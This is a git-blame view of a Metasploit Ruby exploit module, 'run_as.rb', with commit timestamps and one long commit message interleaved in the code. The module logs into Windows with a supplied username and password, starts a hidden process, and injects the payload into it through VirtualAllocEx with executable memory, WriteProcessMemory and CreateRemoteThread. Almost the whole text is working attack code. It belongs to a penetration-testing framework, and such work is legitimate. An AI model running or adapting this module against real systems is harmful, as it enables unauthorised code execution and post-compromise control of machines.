metasploit-framework/modules/exploits/windows/local/run_as.rb

127 lines
5.4 KiB
Ruby
Raw Normal View History

2015-01-27 10:47:02 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
include Msf::Post::Windows::Runas
2015-01-27 17:23:57 +00:00
include Msf::Post::Windows::Priv
2015-01-27 10:47:02 +00:00
2015-01-27 16:34:06 +00:00
def initialize(info = {})
2015-01-27 10:47:02 +00:00
super(update_info(info,
2015-01-27 16:14:59 +00:00
'Name' => "Windows Run Command As User",
2015-01-27 10:47:02 +00:00
'Description' => %q{
This module will login with the specified username/password and execute the
2015-01-27 16:14:59 +00:00
supplied command as a hidden process. Output is not returned by default.
Unless targetting a local user either set the DOMAIN, or specify a UPN user
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
A custom command line can be sent instead of uploading an executable.
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
respectively. See the MSDN documentation for how these two values interact.
2015-01-27 10:47:02 +00:00
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
2015-01-27 16:14:59 +00:00
'Author' => ['Kx499', 'Ben Campbell'],
'Targets' => [
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
2015-03-18 23:51:18 +00:00
],
Various post-commit fixups Edited modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb first landed in #5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys Edited modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb first landed in #5192, @joevennix's module for Safari CVE-2015-1126 Edited modules/auxiliary/gather/java_rmi_registry.rb first landed in Edited modules/auxiliary/gather/ssllabs_scan.rb first landed in #5016, add SSL Labs scanner Edited modules/auxiliary/scanner/http/goahead_traversal.rb first landed in #5101, Add Directory Traversal for GoAhead Web Server Edited modules/auxiliary/scanner/http/owa_iis_internal_ip.rb first landed in #5158, OWA internal IP disclosure scanner Edited modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb first landed in #5159, WordPress Mobile Edition Plugin File Read Vuln Edited modules/exploits/linux/http/multi_ncc_ping_exec.rb first landed in #4924, @m-1-k-3's DLink CVE-2015-1187 exploit Edited modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb first landed in #5131, WordPress Slideshow Upload Edited modules/exploits/windows/local/run_as.rb first landed in #4649, improve post/windows/manage/run_as and as an exploit (These results courtesy of a delightful git alias, here: ``` cleanup-prs = !"for i in `git status | grep modules | sed s/#.*modules/modules/`; do echo -n \"Edited $i first landed in \" && git log --oneline --first-parent $i | tail -1 | sed 's/.*Land //' && echo ''; done" ``` So that's kind of fun.
2015-05-06 16:39:15 +00:00
'DisclosureDate' => 'Jan 01 1999' # Same as psexec -- a placeholder date for non-vuln 'exploits'
2015-01-27 10:47:02 +00:00
))
register_options(
[
2015-01-27 16:14:59 +00:00
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
2015-01-27 10:47:02 +00:00
OptString.new('USER', [true, 'Username to login with' ]),
OptString.new('PASSWORD', [true, 'Password to login with' ]),
2015-01-27 16:14:59 +00:00
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
2015-01-27 10:47:02 +00:00
], self.class)
end
def exploit
2015-04-16 20:04:11 +00:00
fail_with(Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
fail_with(Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
2015-01-27 16:14:59 +00:00
domain = datastore['DOMAIN']
user = datastore['USER']
password = datastore['PASSWORD']
2015-01-27 10:47:02 +00:00
2015-01-27 16:14:59 +00:00
if datastore['USE_CUSTOM_COMMAND']
application_name = datastore['APPLICATION_NAME']
command_line = datastore['COMMAND_LINE']
2015-01-27 10:47:02 +00:00
else
2015-01-27 16:14:59 +00:00
command_line = nil
windir = get_env('windir')
# Select path of executable to run depending the architecture
2015-01-27 16:34:06 +00:00
case sysinfo['Architecture']
when /x86/i
2015-01-27 16:14:59 +00:00
application_name = "#{windir}\\System32\\notepad.exe"
2015-01-27 16:34:06 +00:00
when /x64/i
2015-01-27 16:14:59 +00:00
application_name = "#{windir}\\SysWOW64\\notepad.exe"
end
2015-01-27 10:47:02 +00:00
end
2015-01-27 16:14:59 +00:00
pi = create_process_with_logon(domain,
2015-01-27 16:34:06 +00:00
user,
password,
application_name,
command_line)
2015-01-27 16:14:59 +00:00
return unless pi
begin
return if datastore['USE_CUSTOM_COMMAND']
vprint_status('Injecting payload into target process')
raw = payload.encoded
2015-01-27 17:23:57 +00:00
2015-01-27 16:14:59 +00:00
process_handle = pi[:process_handle]
2015-01-27 16:34:06 +00:00
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
nil,
raw.length,
'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE')
2015-01-27 16:14:59 +00:00
address = virtual_alloc['return']
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
2015-01-27 16:14:59 +00:00
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
2015-01-27 17:23:57 +00:00
address,
raw,
raw.length,
4)
2015-01-27 16:14:59 +00:00
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown,
2015-01-27 16:14:59 +00:00
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
2015-01-27 17:23:57 +00:00
nil,
0,
address,
nil,
0,
4)
2015-01-27 16:14:59 +00:00
if create_remote_thread['return'] == 0
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
else
print_good("Started thread in target process")
2015-01-27 10:47:02 +00:00
end
2015-01-27 16:14:59 +00:00
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
2015-01-27 10:47:02 +00:00
end
end
end